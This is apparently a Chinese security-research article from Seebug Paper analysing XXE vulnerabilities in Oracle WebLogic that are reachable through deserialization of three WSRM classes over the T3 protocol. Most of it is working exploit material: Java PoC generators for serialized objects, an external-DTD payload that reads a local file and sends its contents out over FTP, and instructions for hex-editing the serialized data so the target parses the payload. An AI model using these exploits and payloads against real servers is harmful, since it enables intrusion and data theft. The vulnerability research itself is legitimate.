修复后的代码如下:12345678910111213141516171819202122232425262728293031323334package weblogic.wsee.reliability;import ...public class WsrmServerPayloadContext extends WsrmPayloadContext {public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {...}private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {...ByteArrayInputStream var15 = new ByteArrayInputStream(var3);try {DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();try {String var8 = "http://xml.org/sax/features/external-general-entities";var7.setFeature(var8, false);var8 = "http://xml.org/sax/features/external-parameter-entities";var7.setFeature(var8, false);var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";var7.setFeature(var8, false);var7.setXIncludeAware(false);var7.setExpandEntityReferences(false);} catch (Exception var11) {if (verbose) {Verbose.log("Failed to set factory:" + var11);}}...}}可以看到进行了
setFeature
操作防止xxe攻击,而未打补丁之前是没有进行setFeature
操作的readExternal
在反序列化对象时会被调用,与之对应的writeExternal
在序列化对象时会被调用,看下writeExternal
的逻辑:var1
就是this.formENdpt
,注意var5.serialize
可以传入三种类型的对象,var1.getEndptElement()
返回的是Element
对象,先尝试新建一个项目构造一下PoC
:结构如下
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849public class WeblogicXXE1 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static class MyEndpointReference extends EndpointReference {@Overridepublic Element getEndptElement() {super.getEndptElement();Document doc = null;Element element = null;try {DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();//从DOM工厂中获得DOM解析器DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();//创建文档树模型对象doc = dbBuilder.parse("test.xml");element = doc.getDocumentElement();} catch (Exception e) {e.printStackTrace();}return element;}}public static Object getXXEObject() {EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();EndpointReference faultToEndpt = null;WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();try {Field f1 = wspc.getClass().getDeclaredField("fromEndpt");f1.setAccessible(true);f1.set(wspc, fromEndpt);Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");f2.setAccessible(true);f2.set(wspc, faultToEndpt);} catch (Exception e) {e.printStackTrace();}return wspc;}}test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:
12345<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [<!ELEMENT data (#PCDATA)>]><data>4</data>运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:
发现DOCTYPE无法被引入
我尝试了下面几种方法:
- 在上面说到
var5.serialize
可以传入Document
对象,测试了下,的确可以,但是如何使getEndptElement
返回一个Document
对象呢?- 尝试了自己创建一个
EndpointReference
类,修改getEndptElement
返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类package
与原来的不同,所以失败了 - 尝试像Python那样动态替换一个类的方法,貌似Java好像做不到...
- 尝试了自己创建一个
- 尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的
modules
文件夹与wlserver_10.3\server\lib
文件夹到另一个目录,将wlserver_10.3\server\lib\weblogic.jar
解压,将WsrmServerPayloadContext.class
类删除,重新压缩为weblogic.Jar
,然后新建一个项目,引入需要的Jar文件(modules
和wlserver_10.3\server\lib
中所有的Jar包),然后新建一个与WsrmServerPayloadContext.class
同样的包名,在其中新建WsrmServerPayloadContext.class
类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal
反序列化没有影响)。WsrmServerPayloadContext.class
修改的内容如下: - 经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始
WsrmServerPayloadContext.class
类同样的包名,然后进行修改,修改内容与第二种方式一样测试这种方式也是可行的,比第二种方式操作起来方便些
构造新的PoC:
123456789101112131415161718192021222324252627282930public class WeblogicXXE1 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {EndpointReference fromEndpt = new EndpointReference();EndpointReference faultToEndpt = null;WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();try {Field f1 = wspc.getClass().getDeclaredField("fromEndpt");f1.setAccessible(true);f1.set(wspc, fromEndpt);Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");f2.setAccessible(true);f2.set(wspc, faultToEndpt);} catch (Exception e) {e.printStackTrace();}return wspc;}}查看下新生成的xxe十六进制:
DOCTYPE被写入了
测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了
构造的test.xml如下:
12345678<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY [<!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt"><!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">%dtd;%send;]><ANY>xxe</ANY>my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在
dbBuilder.parse
时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):1234<!ENTITY % all"<!ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>">%all;运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:
%dtd;%send;
居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。尝试debug看下:
可以看到
%dtd;%send;
确实是被处理掉了测试下正常的加载外部数据,my.dtd改为如下:
1234<!ENTITY % all"<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/gen.xml'>">%all;gen.xml为:
1<?xml version="1.0" encoding="UTF-8"?>debug看下:
可以看到
%dtd;%send;
被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个EntityScanner
,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:
运行PoC测试下,
居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了
UnknownMsgHeader 漏洞点分析
与
WsrmServerPayloadContext
差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造新建
UnknownMsgHeader
类,修改writeExternal
PoC如下:
1234567891011121314151617181920212223242526272829public class WeblogicXXE2 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {QName qname = new QName("a", "b", "c");Element xmlHeader = null;UnknownMsgHeader umh = new UnknownMsgHeader();try {Field f1 = umh.getClass().getDeclaredField("qname");f1.setAccessible(true);f1.set(umh, qname);Field f2 = umh.getClass().getDeclaredField("xmlHeader");f2.setAccessible(true);f2.set(umh, xmlHeader);} catch (Exception e) {e.printStackTrace();}return umh;}}运行PoC测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据:
WsrmSequenceContext 漏洞点分析
这个类看似需要构造的东西挺多的,
readExternal
与writeExternal
的逻辑也比前两个复杂些,但是PoC构造也很容易新建
WsrmSequenceContext
类,修改PoC如下:
1234567891011121314151617181920212223242526public class WeblogicXXE3 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {EndpointReference acksTo = new EndpointReference();WsrmSequenceContext wsc = new WsrmSequenceContext();try {Field f1 = wsc.getClass().getDeclaredField("acksTo");f1.setAccessible(true);f1.set(wsc, acksTo);} catch (Exception e) {e.printStackTrace();}return wsc;}}测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
最后
好了,分析完成了。第一次分析Java的漏洞,还有很多不足的地方,但是分析的过程中也学到了很多,就算是一个看似很简单的点,如果不熟悉Java的一特性,会花费较长的时间去折腾。所以,一步一步走吧,不要太急躁,还有很多东西要学。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/906/